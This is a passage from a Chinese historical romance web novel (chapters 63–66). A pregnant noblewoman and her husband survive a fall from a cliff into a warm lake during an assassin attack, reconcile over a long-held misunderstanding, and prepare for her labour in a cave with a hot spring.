苏琯煜听到后面传来的破空声,敏捷地弯了下腰,险险避开那把锋利的刀锋。 “你……”他的同伴惊疑不定地看着他。 “你……”临阵倒戈的那人回头看向割开他脖颈的黑衣人,不甘心地倒了下去。 黑衣人头领气得直咬牙,一群蠢货。 这是他好不容易策反的人,也是一柄利剑! 他让那人蒙蔽了京中的势力,也一直听从京中的指挥装作和苏家人同一阵线,为此他还不惜让那人杀了自己许多手下。 可是才取信于苏家人,眼见着就要杀了苏国公府世子,他临时拼凑出来的人马却如此蠢笨。 气煞他也。 连番变故,苏家这边的阵营不再固若金汤——尤其是在心理上。 至少,和他们一起并肩杀敌、交托后背的人里边,可能有人和他们不是一条心。 苏声已经让人转换了阵型,决计不给可疑的人伤害后方女眷和孩子们的机会。 而他们自己,在杀敌的同时,也暗中留意起属于京中势力的那些人。只待稍有不对,就将他们与己方隔开。 如此耗费心神,对敌的效率自然下降,但这也是没办法中的办法了。 幸好那些人也知道苏家人的为难,很快便有人主动跃出内线,到外头和黑衣人战斗,将后背交给了苏家人守护。 如此,苏家人的阵型才又重新布置完整。 可是,方才的变故到底让他们损了先机,后发制人一时竟是不能够了。而且,他们已经出了纰漏。 只消方才那样一个契机,敌方已经有人悄无声息地溜进了他们的战线。 “雯姐儿。”宣槿妤眼尖地看到有一名黑衣人紧贴着从倒塌的车厢顶端滑来,已经顺手抓住了外侧的雯姐儿,举刀便要砍下去。 那个位置,马车和车厢还在的时候,基本是最安全的地方了。 只是,马车倒下时,许玉娘和苏二婶下意识将苏老夫人拉出了可能受到波及的范围。 而留在那里的女眷们此时也加入了对敌的战斗,就连年幼的启哥儿,也握着一柄匕首,保护着弟弟妹妹们。 此时没有人能分身救下雯姐儿! 宣槿妤在下意识喊出雯姐儿名字的时候,已经意识到这一点。 于是不待话音落下,她整个人已经再次挣脱苏琯璋的手,方才手中没有扔掉的木柴已经顺手扔了出去,正砸在那黑衣人胸膛上。 那黑衣人重重地吐了一口血,下意识便想将雯姐儿扔出悬崖。 宣槿妤这时已经冲过来了,一把将惊魂未定的雯姐儿拉了回来。 而迅速回援的一名苏家暗卫已经给了那黑衣人一剑,又将他踢出悬崖,而后又和已经发现这处漏洞不断朝这里涌来的其余黑衣人缠成一团。 而紧跟着她过来的苏琯璋被黑衣人首领、和几名黑衣人精锐缠住了,在他分神去看宣槿妤时,还险些被一刀割喉。 幸好他躲得快,险险避开,到底还是被锋利的刀气划破了高高的衣领,留下一道口子。 宣槿妤将雯姐儿拉住后,松了口气,幸好那名暗卫回援及时。 “没事了。”她下意识对雯姐儿露出一个笑,但笑意很快凝固在她唇角。 许是方才过于担心雯姐儿,又许是她跑得太急,这些时日一直在陆陆续续发作的阵痛又再次袭来。 她痛苦地松开了雯姐儿的手,捂着肚子。 她可能要生了。 宣槿妤清醒地意识到这一点,顿时便有些慌。 人在慌乱的时候,会下意识去依赖最信任的那个人。 宣槿妤站在原地,抬头去看苏琯璋,正见他衣领被划开的这一幕,顿时整个人都僵在原地。 才回过神来的雯姐儿手足无措地叫了她一声,“小婶婶。” 宣槿妤没有听见雯姐儿叫她的声音,只看见更多的黑衣人涌上来,几乎将苏琯璋的身影淹没。 肚子疼得厉害,她想蹲下去,找个安全的地方蹲下去缓一缓。 但才动了一下,却不小心踩中了散落在地的不知道什么东西,很滑,而后她整个人就朝着后面的悬崖倒了下去。 “夫君!”惊慌失措的。 “小婶婶!”惊惧害怕的。 宣槿妤和雯姐儿的声音同时响起。 第63章 第63章好像是要生了 “少夫人!” “小婶婶!” 雯姐儿扑到悬崖边上,正见小婶婶落下去的身影。 小小的孩子不知所措,很快她又察觉到身边有一阵风袭来,然后她看到,小叔叔也跳了下去。 “小叔叔!” “小叔叔跳下去了。”雯姐儿心里受到极大的冲击,很快便呆滞地趴在悬崖边上,不动了。 紧接着,意识到发生了何事的其余人也朝着这个方向看来。 “妹妹!” “小姐!” 奉命一直守在宣槿妤身侧的清风方才被黑衣人冲散,接连杀了好几个挡道的黑衣人,就要重新守回小姐身边,却在此时看到这样让他惊骇的一幕。 他僵住了身子,不敢去看主子宣文晟此时的表情。 而匆匆赶来的苏琯煜更是瞬间红了眼眶。 “妹妹!” “小姐!” “少夫人!” “小弟!” “小公子!” 兵器交锋声中,响起了人惊慌失措的喊声,带着悲痛。 “小婶婶,小叔叔呜呜呜!”雯姐儿被众人的惊叫惊醒,顿时便嚎啕大哭起来。 这孩子,是被吓坏了。 前番狼袭时她被护得好好的,夜里宣槿妤都发起低热来她却跟没事人一样。方才黑衣人要杀她,也很快被宣槿妤救了回来。 可随即,宣槿妤和苏琯璋二人,一个从她眼前坠崖,一个从她身旁跳崖,给她造成的冲击是无法言喻的。 她还年幼,原先尚且不知道什么叫害怕,但如今却是真真切切地感受到了这种情绪,且一发不可收拾。 “世子。”过来回援的苏家暗卫眼睛也是红的,替呆愣在原地的苏琯煜挡住了一记剑刃,喊了他一声。 苏琯煜深吸口气,逼着自己冷静下来,又拉了一把清风未持剑的那只手,“先对敌。” 清风不敢回头,只听着宣文晟悲伤欲绝的哭声,咬着唇,很快加入战斗。 一名暗卫将趴在悬崖边上哭得难以自抑、且摇摇欲坠的雯姐儿抱起来,举着送到泪流满面的常湄言手中,很快又和身后扑来的黑衣人缠斗在一处。 “那位有了身孕的夫人掉下去了。”一名黑衣人大声喊道,很快被人一剑封喉。 但黑衣人首领已经听到了,他愣在原地。 完了,一切都完了。 任务已经注定无法完成。 就在他怔愣的这一瞬间,眼圈通红的苏声一剑结果了他的性命。 黑衣人还未发现首领已经毙命,只冲入苏家人明显乱了的阵型举着刀剑厮杀,很快便占据了上风。 但很快,王虎也带着他的手下加入了绞杀黑衣人的队伍。 是他错了,他不该犹豫的。 王虎一刀将偷袭陈阳的黑衣人头颅斩下,不敢和他的视线对上,只又转身对敌。 他又悔又愧,后悔自己犹豫了太久;愧疚于很久之前,因叛出苏家军被悔愧纠缠时、对自己推心置腹的李晓明。 他险些就走了李晓明的老路。 要用心去感受。 听到宣槿妤掉下悬崖前的喊声,他回头去看时,正见苏琯璋一跃而下的身影。 这样的场景极大地刺激到了他,心中的秤杆很快便偏移到良心这一头。 有了王虎一行人的加入,已经强行冷静下来的苏家人和暗卫们 也都悲愤地开始反杀;再加上黑衣人头领已经被击杀,群龙无首,形势便很快被他们逆转过来。 不知厮杀了多久,黑衣人被他们尽数歼灭。 山路上,横七竖八的尸首躺了一地,其中属于黑衣人的尸身几乎要数不清。 冲天的血腥味飘荡在这高高的山峰上,久久不散。 而苏家人,此时才有时间开始回想,方才到底发生了什么事。 “我看到璋小子抱住槿妤了。” 苏老夫人抹着泪,字字悲痛,“槿妤刚才又阵痛了,她这是要生了。”眼泪再怎么擦也擦不干,她捂着眼睛,心里在滴血。 方才她听到雯姐儿的惊叫,回头瞥见那一幕,险些呼吸停滞。 在极度震惊和伤心之下,她强撑着瘫软的身子,扑到悬崖边上探头去看了一眼,很快被许玉娘拉了回来。 不过,那一眼,已经足以让她看清让她心肝俱裂的那一幕。 “他们不会有事的。”苏老夫人几乎是喃喃自语。 没有人回答她。 宣槿妤感受到耳边呼啸的风声,察觉到自己的身子在不受控制地极速下坠。她听到了呆滞在崖边的雯姐儿在喊她,可她回应不了。 她心里漫上巨大的恐慌,下意识捧住肚子。 她就要死了吗? 可她的孩子还没出生! 这时,有更大的风声从她头顶传来,很快一个熟悉的怀抱将她牢牢包裹住,她听到苏琯璋的声音,“槿妤。” 他的声音在颤抖。 宣槿妤愣住了,他怎么也掉下来了? 雯姐儿的声音从头顶遥遥传来,“小叔叔跳下去了。” 他是跳下来的? 宣槿妤感受着他亲密到有些过于紧致的怀抱,不由得伸手拂过他的脸,察觉到一手的湿润。 他竟然哭了。 “原来你也会哭。”宣槿妤喃喃道。 回答她的,是男人拥着她更加紧密的力道。 风太大了,宣槿妤甚至觉得他们二人好似被风吹得在空中停滞了一会儿,而后又朝着崖底坠去。 这时候坠下的速度就太快了,快到她耳中一阵轰鸣,脑中一片空白,只下意识将头埋进苏琯璋怀里。 他们一家人会死在一起,好像也不是不能接受。 只是,眼泪到底是浸湿了苏琯璋的衣裳,顺着他被黑衣人刀气划破的领口滑进他胸膛。 苏琯璋将她牢牢护在怀中,几乎将她整个人全然包裹。 “嘭~”的好大一声响,二人被重重摔在水面上。 水体轻柔,温柔地卸去他们下坠时的力道,并托住了二人往下沉的身子。从万丈悬崖上落下,甚至都没让他们受到一点伤害。 “槿妤,你怎么样?”苏琯璋第一反应是去看被他团在怀里的宣槿妤。 宣槿妤尚且还未从高空的呼啸风声脱离出来,只呆呆看着苏琯璋紧张地一张一合的嘴唇。 “没事了,我们没事。”苏琯璋见她不说话,心跳简直要停滞。很快给她检查好身子,还把了脉,才庆幸地重新将她揽入怀中。 宣槿妤终于听到他在说什么了。 他们没事。 没事了。 真好! 她将头埋在他怀中,放声大哭。 劫后余生。 苏琯璋听着妻子夹杂着各种情绪的哭声,眼圈也慢慢红了起来。他拥着她身子的力道在慢慢加大,感受着她温热带着馨香的体息,心里后怕不已。 差一点,就差一点,他就永远失去她了。 已经是冬日了,可这湖水却是温温的。他们待在湖中,仿佛是置身于温度合宜的汤泉之中。 湖水轻柔地冲刷着二人的身子,苏琯璋身上浓烈的血腥气渐渐消融于湖水之中。 等宣槿妤被腹中孩子踢了一脚,停止哭泣时,才发现他们周遭有鲜艳的红色晕染开来,随着湖水流动的方向慢慢流淌。 她抬头去看苏琯璋,“你方才有受伤么?”她问,鼻音浓重。 苏琯璋却只觉得妻子带着鼻音的声音也宛如天籁,忍不住亲了亲她泛红的鼻子,才回答她:“没有。” 宣槿妤想起她见到的那样惊险一幕,伸手去扒拉他的衣领,“给我看看。” 苏琯璋扶稳她的身子,含笑看着她,“真没有伤着。” 宣槿妤也看到了破损的衣领下男人完好无损的皮肤,很快松了手,环住他的腰,将头埋在他胸膛上。 “也不知道他们怎么样了。”她闷声道,“见我们掉下来,他们肯定很担心。” 尤其她三哥哥宣文晟,听娘亲说他自小就是个爱哭鬼,此时定然哭得很惨。 苏琯璋亲了亲她的乌发,环视着周遭的环境——他们得先看看要怎么出去才行。 但这里好像是个密闭的山坳,放眼望去,四周都是耸入云霄的高峰。他侧耳细听了好一会儿,没听到附近有什么危险,便道:“我们先上去。” 他们此时正在湖中心,四面八方皆可以上岸。苏琯璋让宣槿妤选一个方位,“你运气好,我都听你的。”他笑着说。 油嘴滑舌。 宣槿妤心想,唇角却有了笑。她环视一圈,很快指了指林木茂密的一个方向,“我们去那边。” 苏琯璋亲了亲她的脸,托着她因身上薄袄沾了水而有些发沉的身子,慢慢游到湖边,很快上了岸。 而此时,二人身上的衣裳也被湖水冲刷得干干净净,再闻不见一丝血腥气。 冬日干燥,且这湖边暖融融的,火堆很快生了起来。 不敢耽搁,他用内力给二人烘干了衣物和头发,才勉强松了口气,开始打量起这崖底的环境来。 宣槿妤忽然痛呼一声。 “怎么了?”苏琯璋紧张地为她把脉,而后又惊又喜又忧,“好像是要生了。” 他们的孩子要出生了。 可却是在这样了无人烟的崖底,他们身边也没有合用的东西。 宣槿妤靠在苏琯璋身上,按他的指点调整着呼吸频率。 不多时,她一愣,察觉到身子下面好像有什么东西流了出来。苏琯璋伸手一探,手指上便沾了些许艳红。 是见红了,但羊水还没破。 苏琯璋呼吸一滞,很快强迫自己冷静下来,扶着宣槿妤慢慢走动着——照过来人传输的经验,这样容易加快产程,有助于分娩。 第64章 第64章槿妤,我心里的人一直是…… 经过林木最繁茂的一处,“这里有个山洞。”宣槿妤说,“我们去看看吧?” 照过来人灌输给她的经验,见红了还至少要一到两日才能生产。不过,也有特例,也有些在见红几个时辰后就生产的妇人的。 只是,宣槿妤到底是头胎,没经过事,还是有些害怕的。 她得转移一下自己的注意力,免得心慌意乱;而且,眼下才只是个开始,她就已经疼得快要受不住了。 再者,说不定他们今夜就要宿在崖底了,有个山洞也比露宿荒野强,且她还要生出个脆弱的婴孩来呢! 她平日里说什么苏琯璋都基本会说好,遑论此时。 见有光线从山洞中折射出来,且里头还传出了潺潺流水声,苏琯璋便知道里边不会有什么看不见的瘴气之类的危险。 为防万一,他还捡了块石子扔了进去,很快听到石子撞击在山壁的声音。 他又等了好一会儿,没有听到有什么虫蛇爬动的声音,便小心地扶着宣槿妤走了进去。 他们很快发现,这其实是个洞中洞,外面是个小山洞,里头套了连通的一个大山洞。 外头的小山洞连接了一处山泉,泉水汨汨地流淌着,顺着山 涧流向里头的大山洞。 大山洞里竟还有一块十分平坦光滑的平台,触手生温,都可以当床睡了。 “我们的运气真好。”宣槿妤忍着一阵又一阵的痛楚,笑着对苏琯璋说道,“今晚还有床睡。” 苏琯璋知道她现在很疼,崖底下气温不冷,但也不热,她额头上竟还不断地渗出冷汗。 “很疼?”苏琯璋心疼地掏出帕子替她擦拭汗珠,想着可能会让她好受点的办法来,“咬我会不会好受点?” 宣槿妤一开始没应,他现在又没惹到她,她没必要咬他以做惩罚。 但很快,她就收回了方才的想法。 “呜呜呜。”宣槿妤是真的疼得受不住了,忍不住开始咬他。咬着咬着,便想起了被她抛之脑后很久的事来。 她边“呜呜呜”地哭着,边开始控诉着他此前对她做出的种种可恶事迹来。 “你就跟块木头似的,半点人味都没有,跟那冰雕有何区别?” “心里竟还藏了人。” 宣槿妤委屈极了,几个月未曾想起这事来,但一想起来了,憋屈和难过便一齐涌上心头。她眼泪不停地往下掉,“心里藏了人为什么还要娶我?” “你这个臭混账,臭男人。” 苏琯璋被她骂得开始一声都不敢吭,只在听她说他心里藏了别人时有些急了,忙开口解释道:“我心里是有人,但一直都是你。” 宣槿妤还在呜呜咽咽地哭着,根本没听见他在说什么。 苏琯璋见状,一时不知该如何是好。但只须臾,他便俯身堵住她的唇,轻柔地安抚着。 宣槿妤哭得正伤心,被他这样突如其来的吻弄得有些发懵,一时也忘了哭。 “槿妤,我心里的人一直是你。”苏琯璋温声道,“很抱歉,一直没找到机会跟你说。”他的目光很温柔,带着几分缠绵。 最早他们在刑部死牢的第一晚,他就想和她解释清楚,只被暗中来人打断了。 而后,他察觉出或许她可能还有一线生机,便忍住了没再提起这事。 接下来便是宣槿妤和他决裂,与他冷战,继而归家养胎,他就更没有解释的机会了。 十里亭时二人好不容易和好,他本要解释,不想她再误会,但那时却恰巧被来送行的许家和常家人打断了。 而那日开始他们就过上了被人监视着护送南下的生活,一开始他是找不到机会说;后来二人能够独处了,他再要解释,宣槿妤却说她想明白了也想通了,让他日后不要再提起这件事。 而他见她好似心无芥蒂的模样,便以为她真的想明白了自己心里的人是她,便真的再没提起过这件事。 直到方才,听着宣槿妤的控诉,苏琯璋才知道当日她那句“我想明白也想通了”是何意。 分明心有芥蒂,却逼着自己不去想不去在意,她竟是这样“相通的”。! 她在他不知道的时候,在她辛辛苦苦的整个孕期,竟都在忍受着这样的委屈。 “是我的错,槿妤。”苏琯璋素来没什么情绪的双眸中尽是懊悔和愧疚,他想到了更远之前,“我们之前明明有三年的时间,我却一直没和你说。” “其实我回京那日,在雅雀楼下惊鸿一瞥,你就入了我的心。” 苏琯璋神情很不自然地剖析着自己的心事,“我已经打听好你是谁家的姑娘,正要和母亲提,请她上门提亲。” “外祖父就是在这时候上了我们苏家的门,说明了他的来意。” “我和外祖父说了我对你一见钟情的事,才让他在往后三年时间里对我们的亲事一直持有乐观的态度。” 苏琯璋越说神情越温柔,那股不自然的姿态消失了,“槿妤,没有别人,我心里的人一直都是你。” “很抱歉,在这样的时候才和你说。”他亲昵地亲着她的眼睛,吻去她的泪水。 “我不敢奢求你的原谅。但这时候,别哭了好不好?等到生完孩子、坐完月子,我任你打骂,只要你消气。” 此时,他眼中的情意简直能溢出双眸,像是换了一个人,全然没有往日清冷寡言像个冰冷玉雕的模样。 宣槿妤被他一连串的告白砸得脑中一片空白,好一会儿,才慢慢回过神来。 这个男人说,他心里的人一直是她? “你没有骗我?”她沉默了很久,才开口,声音里还带着哭过后的颤音。 “槿妤,我没有骗你。” 有些人,藏在心底的情话一旦突破心理障碍说出口,再说起来时便显得十分顺畅且自然,好似全然没有过渡的时间。 又或许,此前沉默多年的时间里就是在无声无息地酝酿着,此时便悄无声息地完成了过渡。 苏琯璋很可能就是后者。 他温柔地和宣槿妤对视,“婚前,我心里的人是你;婚后,我心里的人还是你;往后一辈子,也还会是你。” 他抚摸着宣槿妤比怀孕前丰润不少的脸颊,“苏家下狱那日,父亲提前得了漠北的传信,我不想连累你。” “你在小花园里遇到的那两个嬷嬷,是我安排的;她们说的话,也是我教的。” 越说,苏琯璋越觉得自己混账,觉得自己“罪无可恕”。 他闭了闭眼,再睁开时,郑重地对宣槿妤说道:“抱歉,是我欺负了你。” 娶了她,却在三年时间里都没有让她得知自己的心意,还让她在漫长的孕期里独自承受了夫君心里有人的不甘和委屈。 他枉为人夫。 抱歉,他唯有抱歉。 此时的他,无能为力,却又心甘情愿将整颗心捧到妻子面前,任由她处置,便是她将它撕碎也没关系,是他该得的。 “苏琯璋,你混账。”宣槿妤听着他一字一句的剖白,脑子里乱糟糟的,心头个种滋味难辨。 她很想哭,但想到他方才说的话,又憋住了。 孩子就要出生了,她不能哭。 到底气愤占了上风,她趴在他肩上,狠狠地咬了一口。几个月后的今天,她再次尝到了唇齿间的血腥气。 “我是混账,对不起,害你伤心了。” “我不敢奢求你的原谅,可是槿妤,”苏琯璋忐忑地问她:“等生完孩子,假若我们回到崖上,你还愿意和我一起过下去吗?” “我保证以后不会再这样了。” “你不喜欢我的寡言,我就多和你说话。你不喜欢我不笑,我就多对你笑。” “你说我不解风情,我就去学,只要你开心。” “总之,你不喜欢的,我都改。” 说到最后,他都有些小心翼翼,“这样可好?” 宣槿妤是第一次见这男人这般慌张却强装镇定的模样,心里开始发软,可又不想这么轻易放过他,他可害她流了不少眼泪的。 只是,她还未回答,才消停些的肚子又开始痛了起来,疼得她躬起了身子,不住地吸着气。 太疼了,宣槿妤失了力气,软软地倒在苏琯璋怀中。 苏琯璋有些慌,想到外面的温水湖,他立马将宣槿妤打横抱起,“槿妤坚持住,我们去湖里。” 温水中生产可以缓解产妇的疼痛,这是一位十分有威望的老产婆告诉他的。 “只是,温水做不到绝对的干净,”那位产婆说,“不过老身也不知道会对产妇和孩子有什么危险。” 她笑了笑,很快十分严肃地对他说:“苏小将军,生孩子对女人来说就是一道鬼门关,在哪里生都是一样的。” 即便他在这刑部死牢,成为囚犯,她也仍将他当成当初在漠北救了她一家的小少将军,故而她的话全无保留。 “但是,若有条件,能够减轻产妇的痛苦,依老身这四十年的接生经验,认为还是值得冒这个风险的。” 老产婆已过花甲,仍在坚持替妇人接生,每年从鬼门关里将数不清的产妇拉回来,再将新生的婴儿送回人间。 她的话,很有参考价值。 苏琯璋回想着老产婆的话,脚步飞快,此时抱着人已经到了湖边。 第65章 第65章也就只有我才受得了你这…… 周遭安静得可怕,从林间窸窸窣窣的动静好似已经消失,天地间仿佛只剩下他们夫妻二人。 苏琯璋耳边也只有宣槿妤痛苦的呼吸声。 他飞快地将二人身上的衣裳一件件往下解,挂在树枝上,只留下贴身的中衣。 期间担心她冷,苏琯璋还运起内力替宣槿妤维持体温。而后也丝毫不敢耽搁,将人抱 入水中,扶着她在水中站好。 “感觉怎么样?还很疼吗?”苏琯璋紧张地问,分明没有做什么,但他此时已经是满头大汗,嘴唇也隐隐发白。 若不知道内情的人见了,还以为是他要生了呢! 温水轻柔地冲刷着二人浸在水中的身子,给他们带去一丝暖意。 方才置身于这湖水中时,他们已经发现了,原来这崖底下一点都不冷,温暖得好似置身于阳春三月一般。 在这样的地方生产,好似也不是一无是处,至少不会让她和孩子受冷。 宣槿妤被湖水温柔地安抚着,慢慢放松下来,任由苏琯璋替她擦拭着额头因为疼痛冒出来的冷汗。 “好一些了。”她慢声回道。 老产婆的建议果真有用! 苏琯璋此时心里不禁对那老产婆生出几分感激来。 他们在湖水中待了不短的时间,约莫得有一个时辰了,宣槿妤才含着羞意对苏琯璋道:“好像又不疼了。” 感觉不到身子的疼痛之后,她那些借着痛意发泄出来的不满已然消散,便开始回想起他方才字字深情的告白来。 这还是她第一回听到有人和她说这样的话,且这人还是她早就倾心的、共度将近四年时光的夫君。 宣槿妤后知后觉察觉到害羞来,面上泛上一层绯色。 苏琯璋却以为她是在不好意思,安慰她,“没事,阵痛是正常的反应。等下如果还疼就再告诉我。” 还说要改掉他的不解风情呢!没点眼色的男人。 宣槿妤咬住他因抚摸她脸颊而放在她唇边的手指,睨着他,没有说话。然后便听这男人道,“我们先上岸,你饿了罢?我们先找点东西吃。” “你乖些,先让你娘亲吃点东西,别闹你娘亲。”说着,苏琯璋温柔地摸了摸她肚皮上隆起的小包,像是和孩子贴了贴掌心。 他们清晨启程前吃的早食,在崖上打斗那么久,又在这湖里待了一个时辰,此时已经午时过半了。 想必她也饿坏了。 宣槿妤对这没点眼色的男人实在没办法,又被他一本正经和她腹中孩子说话的模样逗乐,“噗嗤”笑出声来,松开了他的手。 “苏琯璋,也就只有我才受得了你这木头。” 她十分大度地没有计较他的木讷不识趣,眉眼弯弯的,显然心情十分愉悦,和方才因阵痛而蹙眉含泪的模样大相径庭。 苏琯璋一愣,向来敏捷的脑筋险些不会转动了。 很快他又大喜,她这是在回答方才他在山洞里的问话? “槿妤,你,你再说一遍。”他扶住她的肩膀,低头去看她的表情。 但宣槿妤哪里肯再说一遍,说只有她才受得了他么?过去三年她骂他的时候也没少说这话。 可把他乐的。 这时候竟又不是木头了?反应这般快。 宣槿妤没有说话,眼角眉梢却皆是笑意,将头埋进他胸膛;没有搭理他,双手却悄悄缠在他腰后。 苏琯璋紧紧拥着她,心里的欢喜难以言喻,他深吸口气,将头放在她发髻上,轻轻地。 “槿妤,谢谢你。”他压着兴奋的嗓音,低声道。 谢谢她还愿意包容他,和他过后半辈子。他何德何能,得妻如此。 若非宣槿妤埋着头不肯抬起来,他定要好好亲吻她一番。 微风拂过,水面飘起阵阵涟漪,簇拥着消散在岸边。 二人静静相拥了好一会儿,交换着彼此异于寻常的心跳声。 还是苏琯璋先想起她还没用过午膳的事来,亲了亲她的乌发,“我们先上岸找点东西吃,你是不是饿狠了?” 他的声音,温柔得近乎不像是他的腔调,听得宣槿妤面红心跳。 只是,她摸了摸肚子,方才阵痛时还察觉不到什么,现下还真的感觉到有些饿了。 她红着脸点了点头。 苏琯璋亲了亲她的额头,语气含着疼惜,“还得辛苦你再忍一会儿。” 这男人才说要改,宣槿妤也没料到他竟改得这般快。只是,听着他温柔含情的声音,心里悸动的同时,也怪别扭的。 他刻意掐着嗓子说话的声音,真的好好笑。 像是被人夺舍了一样。 她捂着唇悄悄地笑起来,靠在他胸膛上,听着他沉稳有力的心跳,任由他将自己抱上岸,烘干衣裳,再将挂在树枝上的衣裳一件一件穿回身上。 “披风不穿了,”宣槿妤说,“这里不冷。” 苏琯璋便将披风重新挂回树上,说不准待会儿还要用上。 撇开苏琯璋这个以往常年在外行军的人不提,便是宣槿妤,这几个月来也常在山间林地里泡着,已经十分清楚哪里可能会有猎物,哪里可能会有野果之类的吃食。 于是二人也没花费什么时间,便找到了充作午膳的吃食。 而宣槿妤此时已经吃上了汁水丰润的梨子,孕妇挨不得饿,她得先垫垫肚子。 他们一路南下,又进入冬季,梨子这种果子早已不见踪影,却不想这崖底下竟还有几株果树依旧果实累累。 宣槿妤咬了几口,觉得甜滋滋的,既解渴又好吃,便递到正烤着野鸡的苏琯璋嘴边。 苏琯璋正将手中的野鸡翻着面,唇边忽然碰到湿润的果子,便抬眼去看宣槿妤,正和她含笑的眼睛对上。 他唇边便也露出一抹笑,张嘴在她吃过的位置咬了一小口。 “烤鸡很快就好。”他说。 今日的体力消耗极大,他们也是真的饿极了,一只野鸡被夫妻二人很快消灭干净。 当然,大头的都是苏琯璋吃掉的。 他还找到一片竹林。 苏琯璋的软剑早在他跳崖时为了加速而扔到了悬崖下,此时他手中没有刀剑,只有一柄匕首——但这是要在宣槿妤生产时割断脐带用的,他没有动。 于是,宣槿妤便见识到了他的力气。 苏琯璋一脚就踹断了数根连在一起的竹子,清脆的裂音不绝于耳。 平日里见这男人轻轻松松地将重了许多的她抱着走上个把时辰,她感觉还不明显,如今倒是真切感知到了。 要知道,她三哥哥宣文晟可是连一根竹子都踹不动呢! 且竹子这种有韧性的植物,风再大也不会将其吹断,顶多会弯向地面。他竟一脚就踹断了一片。 宣槿妤抚着肚子,心里生出了几分期待来。 她和孩子父亲力气都大,生出来的孩子,也定然是个拥有神力的孩子罢? 若是个男孩儿,便是锦上添花;若是个女孩儿,也和她母亲一样,拥有一般的姑娘家没有的底气。 也不知苏琯璋是如何做到的,宣槿妤便见他拿着掰下来的竹片对着那些竹子刷刷几下,很快他脚下便堆起了一大堆竹筒。 方才摘好的梨子被他掰成小块,去掉果核,再放进清洗干净的竹筒中,加入这山中清甜的泉水,最后架到火上烤。 不多时,一道香甜的梨子汤便煮好了。 宣槿妤一口气喝完了温度合宜的梨子汤,“这些竹筒是不是留着今晚用的?”她问。 他们煮梨子汤只用了两个竹筒,而脚下这一堆竹筒粗略看着可都有数十个了。且还有许多个是三三两两的竹筒合成一个的,只是打通了中间的竹节。 苏琯璋扶着她在竹林中慢慢散着步消食,“是。你今日或明日就要生了,汤水不能断。我们如今手上什么也没有,这些竹筒好歹能凑活着用。” 他们能不能走出这崖底还未可知。 可即便他们能出去,依着宣 槿妤这样临产的状态,怕也是坚持不到上面的人找到他们的时候,遑论出去生产。 “要委屈你在这崖底生下孩子,可能还要在这里坐月子了。”苏琯璋说。 最坏的可能就是,他们要很长时间都被困在这里——至少,在她坐完月子、可以见风之前。 毕竟,他做不到丢下她和孩子,独自去寻找出路的事,哪怕只离开短暂的一两个时辰也不行。 “不过槿妤,你别害怕。我会安排好,不会饿着你的。”苏琯璋说,抱歉地亲了亲她的额头。 他能做到的,目前看来,好像也就是不会饿着她了。 宣槿妤从他的语气里听不出懊恼,只有歉疚,他是真的觉得她委屈。 她心里软了软,抬头去看他,“你是不是都不会担心慌张的?”好似不管沦落到什么样的困境,都不会让他放在心上一样。 她好像很少见到他失态的模样,当然,方才在山洞里的那次不算。 若非他一直陪在她身旁,只怕她就算落到这崖底侥幸不死,也会慌张绝望到不行。 且她不会医术,不会做吃食,极有可能都会活不了几日。 可同样的境况,如今他都已经计划起要如何安排她月子中的膳食了。 “也不是。”苏琯璋回答。 “只是若是我担心了、慌张了,”他拂过她脸上被风吹散的发丝,“那你和孩子就危险了。” 他俯身,清雪般的气息洒了她一身,他的声音消散在二人唇齿间,“槿妤,我冒不起这个风险。”不管是为人夫,还是为人父。 即便天塌下来、地陷下去,他也得先将她和孩子安顿好。且他还要陪着她过完余生,为此,他便得时刻维持着冷静,保持着思考。 竹林风声徐徐,宣槿妤慢慢融化在他坦诚的心声和唇齿间炽热的温度中。 第66章 第66章你亲亲我 吃饱喝足,又走了几圈,宣槿妤便开始有些犯困。 苏琯璋将方才做好的那一大堆竹筒用竹叶捆严实了,背在身后,半扶半抱着宣槿妤回了方才发现的那个山洞。 因着已经确定今晚要住在这里,这回苏琯璋检查得便仔细了些。大小两个山洞里里外外,就连山壁缝隙等处都没放过,他皆一一认真探查过去。 这样一看,果真有了新的发现。 他在大山洞那可以当作石床的平台后方发现了一处温泉,估计温泉的热气也渗到了石台下方,所以石台才触手生温。 而温泉与大山洞之间隔了薄薄的一层山壁,且是活动的。山壁中间推开时,可以形成一道足以容纳两人并排通过的较大缝隙。 若一直不推开,也仅有丝丝缕缕温润的湿气从山壁渗进来,不会让这大山洞过于潮湿。 且小山洞外山泉水气和温泉热气共同作用下,也大大缓解了洞内的干燥。 他们二人站了好一会儿,只觉得这大山洞里边清润舒适,久待也十分合宜。 苏琯璋敲了敲石台,又尝试着推了推,便发现这底下虽然有温泉水渗过来,但石台依旧十分稳固,跟这山洞浑然一体。 确定这石台足够安全可以睡人,他又取出身上暗袋藏着的银针去探那温泉水,没发现有什么问题。 但他犹不放心,掀起外裳,撕了自己中衣的下摆去沾了些许温泉水,闻了闻;还在宣槿妤惊讶而担忧的目光中伸手去蘸了水,放进口中尝了尝。 “这水可以用。”苏琯璋回头朝宣槿妤笑,“且这温泉水温度就比体温高了些许,不会很热,你应该挺喜欢泡的。” 且经他品尝,这温泉水好似还可以饮用;但出于谨慎,若要入口他是不会用这水的。毕竟,有的温泉水掺了硫磺等杂质,喝了轻则中毒,重则是会死人的。 而这周遭也不是没有水源——最近的小山洞内还有一处活山泉呢,他完全没必要冒这等风险。 听他如此说,宣槿妤脸上露出个浅浅的笑。 她在京中时,冬日里就喜欢泡温泉,她还以为今年冬日泡不成了。 苏琯璋将那截被撕下来的衣摆完全浸入水中,捞出来边拧边道:“不过眼下你也泡不得,得等出了月子且排完恶露后才可以泡。” 宣槿妤省得,但其实这已经让她格外欣喜了,“这里住着定然十分舒适。”她笑道。 她知道,他们其实要在这里常住的可能性极大。 在这崖底下,在这样简陋的山洞里,他们什么都没有。能够发现一处温泉,即便眼下不能泡,也足以让她惊喜了。 在被流放之前,她以为最困难的事就是夫妻不能同心。 而流放之后,这一路走来,她以为最苦的事也不过是孕期各种不适,还有居所不定,尤其是常露宿荒野。 而流落到这崖底之后,她才发现,之前的那些困难和苦楚都算不得什么。 宣槿妤摸了摸肚皮上凸出来的小脚丫,逗得孩子又踢了她几下,她满足地抬眼朝正忙碌着的男人看去。 能有这样一个遮风挡雨之地,他们夫妻还能在一处,其实就已经很好很好了。 苏琯璋很快擦干净石台,内力扫过,湿润的石台很快又恢复了干爽。 他将自己的披风脱下铺好,扶着宣槿妤先坐下,闻言颔首,“小山洞有活水,山壁后方有温泉,用水也十分方便。” 如此,他们平日里吃水、做膳食和洗漱等都很便捷,他就不必离她太远。而且,日后宣槿妤沐浴时也会更加舒适且安全,尤其刮风下雨时。 